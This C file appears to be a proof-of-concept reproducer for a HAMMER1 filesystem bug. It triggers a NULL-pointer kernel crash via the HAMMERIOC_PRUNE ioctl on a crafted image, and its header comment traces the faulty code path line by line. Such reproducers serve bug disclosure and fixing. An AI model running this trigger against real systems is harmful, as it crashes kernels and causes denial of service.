/*
 * DF-3223 trigger: HAMMERIOC_PRUNE (HAMMER_IOC_PRUNE_ALL) over the full
 * PFS#0 key range on a HAMMER1 filesystem whose live inode record was
 * forged offline to carry data_offset == 0.
 *
 * hammer_ioc_prune() (sys/vfs/hammer/hammer_prune.c) walks the B-Tree in
 * reverse; for every record that prune_should_delete() does NOT delete it
 * calls prune_check_nlinks() (:321).  For a live INODE record that helper
 * calls hammer_btree_extract_data(cursor) (:330), which for data_offset==0
 * returns 0 *leaving cursor->data == NULL* (hammer_btree.c:730-731, before
 * the CRC gate), and then dereferences cursor->data->inode.nlinks (:332)
 * -> NULL+0x48 kernel-mode read -> fatal trap 12.
 *
 * The ioctl is privilege-gated (caps_priv_check(SYSCAP_NOVFS_IOCTL) in
 * hammer_ioctl.c:72), matching the crafted-image threat model: root mounts
 * an untrusted image (removable media / forensic image / mirrored stream)
 * and runs `hammer prune` / `hammer cleanup` (or this ioctl).
 *
 * usage: ./trigger_prune <mounted-hammer-dir>   (run as root, RW mount)
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <errno.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include "hammer_ioctl.h"

int
main(int argc, char **argv)
{
	struct hammer_ioc_prune prune;
	int fd, r;

	if (argc != 2) {
		fprintf(stderr, "usage: %s <hammer-dir>\n", argv[0]);
		exit(2);
	}

	memset(&prune, 0, sizeof(prune));
	prune.head.flags = HAMMER_IOC_PRUNE_ALL;	/* no elms array used */
	prune.nelms = 0;
	prune.elms = malloc(64);			/* never dereferenced */

	/* full PFS#0 key range: localization types 0..2, all obj_ids/keys */
	prune.key_beg.localization = 0;
	prune.key_beg.obj_id = -0x7FFFFFFFFFFFFFFFLL - 1;
	prune.key_end.localization = 2;		/* HAMMER_LOCALIZE_MISC */
	prune.key_end.obj_id = 0x7FFFFFFFFFFFFFFFLL;

	fd = open(argv[1], O_RDONLY);
	if (fd < 0) {
		perror("open");
		exit(2);
	}
	printf("trigger: HAMMERIOC_PRUNE (PRUNE_ALL, full range) on %s "
	       "uid=%d\n", argv[1], getuid());
	fflush(stdout);

	r = ioctl(fd, HAMMERIOC_PRUNE, &prune);
	printf("ioctl returned %d errno=%d (%s)\n", r, errno, strerror(errno));
	printf("scanrecords=%jd rawrecords=%jd dirrecords=%jd bytes=%jd "
	       "oldest_tid=%016jx\n",
	       (intmax_t)prune.stat_scanrecords,
	       (intmax_t)prune.stat_rawrecords,
	       (intmax_t)prune.stat_dirrecords,
	       (intmax_t)prune.stat_bytes,
	       (uintmax_t)prune.stat_oldest_tid);
	return (0);
}
